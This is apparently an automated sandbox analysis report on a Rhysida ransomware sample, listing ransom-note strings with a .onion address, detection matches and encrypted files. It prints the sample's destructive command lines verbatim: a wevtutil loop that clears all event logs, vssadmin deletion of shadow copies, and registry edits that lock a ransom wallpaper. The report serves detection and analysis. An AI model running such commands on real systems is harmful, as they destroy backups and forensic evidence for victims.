Source: CriticalBreachDetected.pdf155.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf240.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf245.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf348.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf239.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf1.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf242.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf299.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf107.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf202.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf346.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf351.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf92.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf294.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf162.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf99.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf118.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf55.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf358.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf73.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf330.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf98.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf287.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf33.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf297.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf301.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf324.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf43.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf105.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf79.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf213.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf306.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf28.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf248.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf179.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf331.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf320.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf169.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf225.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf276.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf314.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf7.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf58.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf337.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf347.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf366.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf119.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf293.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf165.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf249.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf292.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf68.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf41.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf32.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf149.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf138.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf31.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf4.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf203.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf42.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf268.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf369.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf370.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf148.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf65.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf281.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf313.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf17.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf189.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf94.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf272.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf13.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf354.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf205.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf117.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf372.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)

Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/275944
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/497301
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/514696
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/717501
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/775961
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/839189
Source: index.html.rhysida.0.dr	String found in binary or memory: http://jquery.com/
Source: index.html.rhysida.0.dr	String found in binary or memory: http://jquery.org/license
Source: lMNx3XfBrF.exe, CriticalBreachDetected.pdf24.0.dr, CriticalBreachDetected.pdf289.0.dr, CriticalBreachDetected.pdf84.0.dr, CriticalBreachDetected.pdf270.0.dr, CriticalBreachDetected.pdf216.0.dr, CriticalBreachDetected.pdf154.0.dr, CriticalBreachDetected.pdf77.0.dr, CriticalBreachDetected.pdf167.0.dr, CriticalBreachDetected.pdf66.0.dr, CriticalBreachDetected.pdf130.0.dr, CriticalBreachDetected.pdf120.0.dr, CriticalBreachDetected.pdf367.0.dr, CriticalBreachDetected.pdf310.0.dr, CriticalBreachDetected.pdf368.0.dr, CriticalBreachDetected.pdf231.0.dr, CriticalBreachDetected.pdf134.0.dr, CriticalBreachDetected.pdf374.0.dr, CriticalBreachDetected.pdf207.0.dr, CriticalBreachDetected.pdf176.0.dr, CriticalBreachDetected.pdf339.0.dr	String found in binary or memory: http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: index.html.rhysida.0.dr	String found in binary or memory: http://sizzlejs.com/
Source: resources.pak.rhysida.0.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: nacl_irt_x86_64.nexe.rhysida.0.dr	String found in binary or memory: https://chromium.googlesource.com/a/native_client/nacl-llvm-project-v10.git
Source: resources.pak.rhysida.0.dr	String found in binary or memory: https://codereview.chromium.org/25305002).
Source: resources.pak.rhysida.0.dr	String found in binary or memory: https://crbug.com/1245093):
Source: resources.pak.rhysida.0.dr	String found in binary or memory: https://crbug.com/1446731
Source: lMNx3XfBrF.exe, CriticalBreachDetected.pdf24.0.dr, CriticalBreachDetected.pdf289.0.dr, CriticalBreachDetected.pdf84.0.dr, CriticalBreachDetected.pdf270.0.dr, CriticalBreachDetected.pdf216.0.dr, CriticalBreachDetected.pdf154.0.dr, CriticalBreachDetected.pdf77.0.dr, CriticalBreachDetected.pdf167.0.dr, CriticalBreachDetected.pdf66.0.dr, CriticalBreachDetected.pdf130.0.dr, CriticalBreachDetected.pdf120.0.dr, CriticalBreachDetected.pdf367.0.dr, CriticalBreachDetected.pdf310.0.dr, CriticalBreachDetected.pdf368.0.dr, CriticalBreachDetected.pdf231.0.dr, CriticalBreachDetected.pdf134.0.dr, CriticalBreachDetected.pdf374.0.dr, CriticalBreachDetected.pdf207.0.dr, CriticalBreachDetected.pdf176.0.dr, CriticalBreachDetected.pdf339.0.dr	String found in binary or memory: https://www.torproject.org/download/)

Source: lMNx3XfBrF.exe, 00000000.00000002.2948969424.0000000002514000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: C:/Program Files (x86)/autoit3/Examples/Helpfile/_WinAPI_RegisterRawInputDevices[2].au3

memstr_28847ced-c

Spam, unwanted Advertisements and Ransom Demands

Yara detected Rhysida Ransomware

Source: Yara match	File source: lMNx3XfBrF.exe, type: SAMPLE
Source: Yara match	File source: Process Memory Space: lMNx3XfBrF.exe PID: 7484, type: MEMORYSTR

Contains functionality to clear event logs

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe

Code function: cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

0_2_00419018

Deletes shadow drive data (may be related to ransomware)

Source: lMNx3XfBrF.exe	Binary or memory string: cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: lMNx3XfBrF.exe, 00000000.00000000.1697198491.000000000046A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: lMNx3XfBrF.exe, 00000000.00000000.1697198491.000000000046A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: C:/Windows/Fonts/Arial.ttfC:/Users/Public/bg.jpgcmd.exe /c reg delete "HKCU\Contol Panel\Desktop" /v Wallpaper /fcmd.exe /c reg delete "HKCU\Conttol Panel\Desktop" /v WallpaperStyle /fcmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /fcmd.exe /c reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d 2 /fcmd.exe /c reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /frundll32.exe user32.dll,UpdatePerUserSystemParameters/$Recycle.Bin/Boot/Documents and Settings/PerfLogs/ProgramData/Recovery/System Volume Information/Windows/$RECYCLE.BIN/ApzData.bat.bin.cab.cmd.com.cur.diagcab.diagcfg.diagpkg.drv.dll.exe.hlp.hta.ico.msi.ocx.ps1.psm1.scr.sys.iniThumbs.db.url...rrb+rbaeschc_hash%c:/cmd.exe /c vssadmin.exe Delete Shadows /All /Quietcmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Source: lMNx3XfBrF.exe	Binary or memory string: cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: lMNx3XfBrF.exe	Binary or memory string: C:/Windows/Fonts/Arial.ttfC:/Users/Public/bg.jpgcmd.exe /c reg delete "HKCU\Contol Panel\Desktop" /v Wallpaper /fcmd.exe /c reg delete "HKCU\Conttol Panel\Desktop" /v WallpaperStyle /fcmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /fcmd.exe /c reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d 2 /fcmd.exe /c reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /frundll32.exe user32.dll,UpdatePerUserSystemParameters/$Recycle.Bin/Boot/Documents and Settings/PerfLogs/ProgramData/Recovery/System Volume Information/Windows/$RECYCLE.BIN/ApzData.bat.bin.cab.cmd.com.cur.diagcab.diagcfg.diagpkg.drv.dll.exe.hlp.hta.ico.msi.ocx.ps1.psm1.scr.sys.iniThumbs.db.url...rrb+rbaeschc_hash%c:/cmd.exe /c vssadmin.exe Delete Shadows /All /Quietcmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

Writes many files with high entropy

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\css\main.css.rhysida entropy: 7.9949969177	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\uss-search\js\plugin.js.rhysida entropy: 7.99943951436	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons_retina.png.rhysida entropy: 7.99417832104	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_retina.png.rhysida entropy: 7.99086427198	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\7-Zip\History.txt.rhysida entropy: 7.99731133617	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\7-Zip\7z.sfx.rhysida entropy: 7.99910946826	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\dc_share_upsell_2x.png.rhysida entropy: 7.9904553495	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\req_sign_ctip_gif.gif.rhysida entropy: 7.9991105744	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\dc_review_upsell_2x.png.rhysida entropy: 7.99137125288	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\faf-main.js.rhysida entropy: 7.99971632502	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast_retina.png.rhysida entropy: 7.99330213908	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\de-de\ui-strings.js.rhysida entropy: 7.99017424248	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\progress_spinner2x.gif.rhysida entropy: 7.9948859038	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\cs-cz\ui-strings.js.rhysida entropy: 7.99586261155	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ca-es\ui-strings.js.rhysida entropy: 7.99545216965	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\aic_file_icons_retina_thumb.png.rhysida entropy: 7.99720078805	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\ko-kr\ui-strings.js.rhysida entropy: 7.99084501962	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\it-it\ui-strings.js.rhysida entropy: 7.99042058461	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\VisualElements\LogoCanary.png.rhysida entropy: 7.99363812438	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\hu-hu\ui-strings.js.rhysida entropy: 7.99074479402	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\zh-CN.pak.rhysida entropy: 7.99952867876	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\core_icons.png.rhysida entropy: 7.99417803155	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_wob.png.rhysida entropy: 7.99568350426	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\da-dk\ui-strings.js.rhysida entropy: 7.99422033387	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\resources.pak.rhysida entropy: 7.99939326395	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\progress_spinner_dark2x.gif.rhysida entropy: 7.99413861814	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\ru-ru\ui-strings.js.rhysida entropy: 7.99170617531	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\VisualElements\LogoDev.png.rhysida entropy: 7.99205663674	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png.rhysida entropy: 7.99194463119	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-ae\ui-strings.js.rhysida entropy: 7.99421218728	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\de-de\ui-strings.js.rhysida entropy: 7.99572768871	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Google\Chrome\Application\initial_preferences.rhysida entropy: 7.99961920062	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-il\ui-strings.js.rhysida entropy: 7.99466032488	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\css\main.css.rhysida entropy: 7.99795122495	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-extract-popups-chunk.js.rhysida entropy: 7.99206589276	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\ind_prog.gif.rhysida entropy: 7.9913016325	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\es-es\ui-strings.js.rhysida entropy: 7.99548805155	Jump to dropped file
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons_retina_thumb.png.rhysida entropy: 7.99640222599	Jump to dropped file
